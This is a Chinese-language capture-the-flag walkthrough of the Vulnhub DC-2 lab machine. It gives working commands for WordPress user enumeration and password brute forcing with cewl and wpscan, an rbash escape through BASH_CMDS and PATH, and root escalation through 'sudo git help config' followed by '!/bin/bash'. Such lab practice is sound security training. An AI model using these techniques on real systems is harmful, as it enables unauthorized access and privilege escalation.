Vulnhub靶场DC1-2练习

目录

  • 0x00 准备
  • 0x01 信息收集
  • 0x02 漏洞利用与攻击
  • 0x03 思路总结

0x00 准备

下载连接:https://download.vulnhub.com/dc/DC-2.zip

介绍:Just like with DC-1, there are five flags including the final flag.Please note that you will need to set the hosts file on your pentesting device to something like:192.168.0.145 dc-2.Obviously, replace 192.168.0.145 with the actual IP address of DC-2.(一共有五个flags。把攻击主机的hosts文件中添加一条,将示例中的IP地址换成真实的DC2的IP地址。)

0x01 信息收集

发现目标主机IP:netdiscover -i eth0

Vulnhub靶场DC1-2练习_第1张图片

本机的IP:192.168.2.157,目标主机的IP:192.168.2.247

探测目标主机的开放端口:nmap -sS -sV -n -A -p- 192.168.2.247

Vulnhub靶场DC1-2练习_第2张图片

开放了80端口,http服务。7744端口的ssh服务。

修改kali的hosts文件,/etc/hosts文件中添加一行:192.168.2.247 dc-2

Vulnhub靶场DC1-2练习_第3张图片

浏览器中访问:http://192.168.2.247:80

Vulnhub靶场DC1-2练习_第4张图片

0x02 漏洞利用与攻击

这个站点是用wordpress搭建的,看到这里有个flag的提示,点进去就是flag1。这里提示用cewl的字典进行爆破,可能会爆破出来两个账号,一个账号无法登录的话就用另一个账号登录。

利用cewl制作密码字典:cewl http://dc-2/ -w ceshipd.txt

Vulnhub靶场DC1-2练习_第5张图片

flag1中提到我们需要用户名和密码来登录。现在只解决了密码,用户名还没有解决。就用wpscan来枚举wordpress站点中注册过的用户名:wpscan --url http://dc-2/ -e u

Vulnhub靶场DC1-2练习_第6张图片

从扫描结果来看能看到很多信息,例如网站使用的wordpress的版本,使用的主题,最重要的是枚举出来的注册的用户:admin,jerry,tom。将这三个用户名写进一个文件里,当作是用户名字典:

Vulnhub靶场DC1-2练习_第7张图片

用户名有了,密码字典有了,用wpscan进行爆破:wpscan --url http://dc-2/ -U user.txt -P ceshipd.txt

Vulnhub靶场DC1-2练习_第8张图片

可以看到爆破出来两个用户:jerry-adpiscing,tom-parturient。

还差登录页面。在浏览器上没看到登录接口,再用dirsearch扫描站点目录:dirsearch -u http://dc-2 -e *

Vulnhub靶场DC1-2练习_第9张图片

浏览器访问:http://dc-2/wp-login.php,确定是登录界面。分别登录两个用户,把该点的都点一点,在jerry用户的page页面发现了flag2:

Vulnhub靶场DC1-2练习_第10张图片
Vulnhub靶场DC1-2练习_第11张图片

意思是这里找不到其他东西了。

一开始扫描端口还有个ssh端口,所以用ssh来连接一下,注意要指定端口7744,因为ssh的默认端口是22。这里有两个用户tom或者jerry,分别用这两个用户登录一下:ssh [email protected] -p 7744

jerry用户无法登录,tom用户可以登录。用whoami查询一下当前用户的权限:

Vulnhub靶场DC1-2练习_第12张图片

当前是rbash,与一般shell的区别在于会限制一些行为,让一些命令无法执行。进行rbash绕过。用ls看一下当前目录,发现了flag3.txt,用cat flag3.txt查看一下文件,发现被限制了。那就用vim flag3.txt来查看一下文件,也被限制了,试一试vi flag3.txt,可以查看文件。

Vulnhub靶场DC1-2练习_第13张图片
Vulnhub靶场DC1-2练习_第14张图片

文件内容提示了jerry总是落后于tom,也许要用su。su是切换用户,考虑su jerry切换到jerry用户,被限制了!看来一定要rbash绕过了!

利用环境变量绕过,执行下面三条语句:

BASH_CMDS[a]=/bin/sh;a
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin

Vulnhub靶场DC1-2练习_第15张图片

成功绕过了shell,再利用之前爆破的用户名jerry和密码adpiscing来进行切换用户:su jerry。然后进入jerry用户的家目录/home/jerry,列出文件,可以看到flag4.txt,查看一下文件内容:

Vulnhub靶场DC1-2练习_第16张图片

提示说明还没有家,离开这里。有个git字眼,考虑git提权。

sudo -l查看当前用户可以以root身份执行的命令:

Vulnhub靶场DC1-2练习_第17张图片

jerry可以以root权限执行git命令,那就进行git提权吧。

命令:sudo git help config
再在末行命令模式下输入:!/bin/bash

变成root权限了以后,在进入root家目录,查看文件。

Vulnhub靶场DC1-2练习_第18张图片

最后再把hosts文件里添加的那一行给删除掉。

0x03 思路总结

netdiscover探测主机IP,nmap扫描开放端口服务。浏览器访问目标网站,找相关信息。cewl生成密码字典,wpscan扫描用户,再用wpscan指定用户字典密码字典进行爆破,得到两个用户。ssh连接,rbash绕过,用的环境变量。切换用户,git提权。

你可能感兴趣的:(靶场,vulnhub,kali,nmap,web安全)